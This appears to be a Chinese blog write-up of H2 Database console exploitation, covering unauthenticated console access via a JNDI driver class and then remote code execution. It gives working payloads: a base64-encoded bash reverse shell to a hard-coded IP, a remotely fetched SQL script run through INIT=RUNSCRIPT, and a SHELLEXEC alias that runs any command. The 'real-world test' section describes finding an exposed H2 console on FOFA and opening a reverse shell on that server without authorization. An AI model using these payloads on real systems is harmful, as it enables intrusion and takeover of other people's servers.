H2 database漏洞复现
H2database未授权及RCE漏洞
默认端口:20051
1、未授权漏洞
原理:H2 database自带一个web管理页面,设置了如下的设置就允许外部用户访问web管理界面,且不经过身份验证
//这个就是设置启用还是禁用web管理界面
spring.h2.console.enabled=true
//这个就是设置是否允许外部用户进行访问管理界面,并不通过身份验证
spring.h2.console.settings.web-allow-others=true
如果这两个设置钧开启,那么就可以利用jndi进行注入攻击。
使用的是vulfocus漏洞平台进行复现
管理界面
这里选择嵌入式H2数据库
下面的Deiver Class填写一个驱动器
//这个就是一个用于查找和访问JNDI数据资源的类,通常与JDBC数据源一起使用,去获取数据库的连接
javax.naming.InitialContext
然后下面的url Name填写以下的内容
//详细的解释
//首先:jdbc:h2:mem:test1;这一个指令就是一个h2数据库的连接url,然后上面的"javax.naming.InitialContext"驱动器也就是这个类,就通过这个url在java程序中查找和获取这个数据资源,用来访问数据库
//然后下一句FORBID_CREATION=FALSE;这个指令就非常关键,他的意思就是说尝试去连接一个不存在里面的数据库,然后设置为FALSE,那么这个h2里面如果没有这个数据库的话,那么他就会自动的去创建一个新的数据库,如果是TRUE的话,那么没有这个数据库,他就无法创建数据库,就会连接失败
//IGNORE_UNKNOWN_SETTINGS=TRUE这个指令就是说刚刚给出的连接url中包含了一些未知的连接设置的话,H2数据库就会直接忽略这些设置,不会报错,如果是false的话就会报错,导致连接失败
总而言之就是避免链接发生错误,进行成功的连接进去。
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
靶场复现,填入驱动器和url
直接就能连接进去,成功创建了数据库
2、RCE漏洞
漏洞利用原理:
(1)远程加载sql文件,并初始化数据库,并执行反弹shell命令。
复现,首先在自己的vps上面放一个sql文件
h2.sql
//代码解释
//首先使用CREATE创建了一个test表,然后设置了一个TRIG_JS的触发器,然后利用javascript代码调用java代码执行反弹shell命令
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTczLjExMi82NjYxIDA+JjE=}|{base64,-d}|{bash,-i}");';
第二步在vps上面开一个python的web服务,目的就是可以去访问并下载文件
python -m http.server 8000
第三步vps监听端口,然后url中填写jdbc的指令去下载并初始化数据库
//这个就是去连接test1数据库"INIT=RUNSCRIPT FROM 'http://82.157.173.112:8000/h2.sql';\"这个就是去远程下载sql文件。
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://82.157.173.112:8000/h2.sql';\
成功反弹shell
3、实战测试
fofa直接搜索 h2 console
因为这个漏洞已经是很久的了,很多都没有,然后还是找到了一个
填入驱动类和url
然后使用让他去下载sql文件并初始化,但是失败,无法下载。
然后看到一篇文章,直接进行sql语句反弹shell
参考文章
https://www.cnblogs.com/0x28/p/14546972.html
//这个总的来说就是创建一个数据库函数 SHELLEXEC
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
然后下面执行代码
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
反弹shell
//这边需要编码,因为我尝试不用编码执行,发现反弹不成功
CALL SHELLEXEC('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTczLjExMi82NjYxIDA+JjE=}|{base64,-d}|{bash,-i}');
chegngong
成功反弹
总结
在利用的使用就用利用驱动类去加载数据库的URl然后实现未授权连接并创建一个新的数据库,然后利用远程加载sql文件初始化数据库并进行反弹shell,但是这个方法我自己感觉很多不能用了,就直接进去然后执行sql语句进行反弹。有点像那个udf提权创建函数来执行。